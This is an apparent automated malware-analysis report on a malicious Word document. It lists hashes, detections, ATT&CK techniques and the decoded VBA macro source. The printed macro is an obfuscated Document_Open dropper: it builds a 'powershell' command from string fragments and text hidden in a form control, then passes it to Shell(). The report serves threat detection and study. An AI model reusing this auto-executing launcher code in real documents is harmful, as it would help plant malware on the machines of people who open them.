Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 46b32f9f738df444…

MALICIOUS

Office (OLE)

266.0 KB Created: 2019-02-05 15:03:00 Authoring application: Microsoft Office Word First seen: 2019-09-30
MD5: 08de8be57b021eb66e3dc680810a31c2 SHA-1: 4e8ac63d301b0aae6eee207c74b22f5534bbde37 SHA-256: 46b32f9f738df444e699a46ecf8c31e895cccb972523d2e90561b0a8220d2b26
222 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059 Command and Scripting Interpreter

The sample contains VBA macros, including a Document_Open macro that triggers the execution of the Shell() function. This function is used to execute arbitrary commands, indicating an attempt to download and run a secondary payload. The script concatenates strings to form the command 'SHELL ', which is then passed to the Shell() function.

Heuristics 6

  • ClamAV: Doc.Malware.00536d-6846217-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.00536d-6846217-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://ns.adobe.com/xap/1.0/ In document text (OLE body)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OLE body)
    • http://purl.org/dc/elements/1.1/In document text (OLE body)
    • http://ns.adobe.com/photoshop/1.0/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/sType/ResourceRef#In document text (OLE body)
    • http://ns.adobe.com/tiff/1.0/In document text (OLE body)
    • http://ns.adobe.com/exif/1.0/In document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1618 bytes
SHA-256: 00601e9f5a31f0b084436b5587667b90c403a90285cdb4a9bbe70c297a7afa16
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Sub Document_Open()


Dim TqJWfFQ(200) As Byte
Call w("er")
End Sub

Attribute VB_Name = "UylnJs"
Sub w(oa4TkQ)
Dim P9N4R(46) As Byte
Dim cNolJYQW(106) As Byte
Dim hYz5B(1 To 154) As String
hYz5B(1) = "vNyLrte"
Dim h4zdKi As String
h4zdKi = z0R5qN
IpeFct = "SHE" & "LL "
EYWA3NvrM = "ow"
OQsnvCXJ = oa4TkQ
Call S0rYfgb(EYWA3NvrM & OQsnvCXJ & IpeFct & kugzr)
End Sub

Attribute VB_Name = "mR9s0Jt"
Public Function iJ0nZxpfB() As String
Dim Ba7EH As Long
Ba7EH = (919 - 902) * (1)
Dim qs8QC3yR As Long
qs8QC3yR = (919 - 902) / (1)
iJ0nZxpfB = "p"
End Function
Function S0rYfgb(ex1EOmPS)
Dim NQsBv9 As Long
NQsBv9 = (15189 - 15187) / (11)
Dim OiOEWa17R(4 To 64) As Long
OiOEWa17R(4) = 4116 / 42
Dim odx3D7R() As Byte
S0rYfgb = Shell(iJ0nZxpfB() & ex1EOmPS, False)
End Function

Attribute VB_Name = "mpCBb"
Public Function kugzr()
Dim yyNL1RFq As Object
Set yyNL1RFq = New f
Dim VEQIrUzX As String
VEQIrUzX = yyNL1RFq.de.Text
kugzr = VEQIrUzX
End Function

Attribute VB_Name = "f"
Attribute VB_Base = "0{7C8432CE-D2D6-4ABF-A08E-AC2C000BA333}{9AD29EB4-6904-4F16-BEFE-F9F6C0498AFB}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False